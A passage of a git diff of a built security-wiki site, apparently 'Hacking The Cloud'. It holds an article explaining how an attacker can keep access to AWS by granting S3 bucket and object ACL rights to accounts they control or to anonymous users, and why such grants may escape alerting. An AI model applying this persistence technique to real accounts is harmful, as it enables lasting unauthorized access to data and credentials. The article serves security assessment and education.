class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#requirements class=md-nav__link> <span class=md-ellipsis> Requirements </span> </a> </li> <li class=md-nav__item> <a href=#purpose class=md-nav__link> <span class=md-ellipsis> Purpose </span> </a> </li> <li class=md-nav__item> <a href=#background-on-sensitive-s3-use-cases class=md-nav__link> <span class=md-ellipsis> Background on Sensitive S3 Use Cases </span> </a> </li> <li class=md-nav__item> <a href=#technique class=md-nav__link> <span class=md-ellipsis> Technique </span> </a> </li> <li class=md-nav__item> <a href=#key-considerations class=md-nav__link> <span class=md-ellipsis> Key Considerations </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/s3_acl_persistence.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>S3 File ACL Persistence</h1> <h3 id=requirements>Requirements<a class=headerlink href=#requirements title="Permanent link">&para;</a></h3> <p>For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.</p> <h3 id=purpose>Purpose<a class=headerlink href=#purpose title="Permanent link">&para;</a></h3> <p>When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs). </p> <h3 id=background-on-sensitive-s3-use-cases>Background on Sensitive S3 Use Cases<a class=headerlink href=#background-on-sensitive-s3-use-cases title="Permanent link">&para;</a></h3> <p>Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: <strong>S3 ACL Access Control</strong>. </p> <h3 id=technique>Technique<a class=headerlink href=#technique title="Permanent link">&para;</a></h3> <p><a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html>S3 ACL Access Control</a> is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.</p> <h3 id=key-considerations>Key Considerations<a class=headerlink href=#key-considerations title="Permanent link">&para;</a></h3> <ol> <li>Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as <a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html#access-control-block-public-access-policy-status>'public'</a>.</li> <li>ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the <a href=https://aws.amazon.com/blogs/aws/heads-up-amazon-s3-security-changes-are-coming-in-april-of-2023/ >default for all newly created buckets</a>. </li> </ol> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 26, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 12, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/bleemb class=md-author title=@bleemb> <img src="https://avatars.githubusercontent.com/u/47310908?v=4&size=72" alt=bleemb> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/righteousgambit class=md-author title=@righteousgambit> <img src="https://avatars.githubusercontent.com/u/35244835?v=4&size=72" alt=righteousgambit> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html b/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html
index f1ba1c401..3674e2912 100644
--- a/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html
+++ b/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked."><link href=https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ rel=canonical><link href=../s3_acl_persistence/ rel=prev><link href=../user_data_script_persistence/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Survive Access Key Deletion with sts:GetFederationToken - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Survive Access Key Deletion with sts:GetFederationToken - Hacking The Cloud"><meta property=og:description content="Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Survive Access Key Deletion with sts:GetFederationToken - Hacking The Cloud"><meta property=twitter:description content="Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked."><link href=https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ rel=canonical><link href=../s3_acl_persistence/ rel=prev><link href=../user_data_script_persistence/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Survive Access Key Deletion with sts:GetFederationToken - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Survive Access Key Deletion with sts:GetFederationToken - Hacking The Cloud"><meta property=og:description content="Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Survive Access Key Deletion with sts:GetFederationToken - Hacking The Cloud"><meta property=twitter:description content="Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 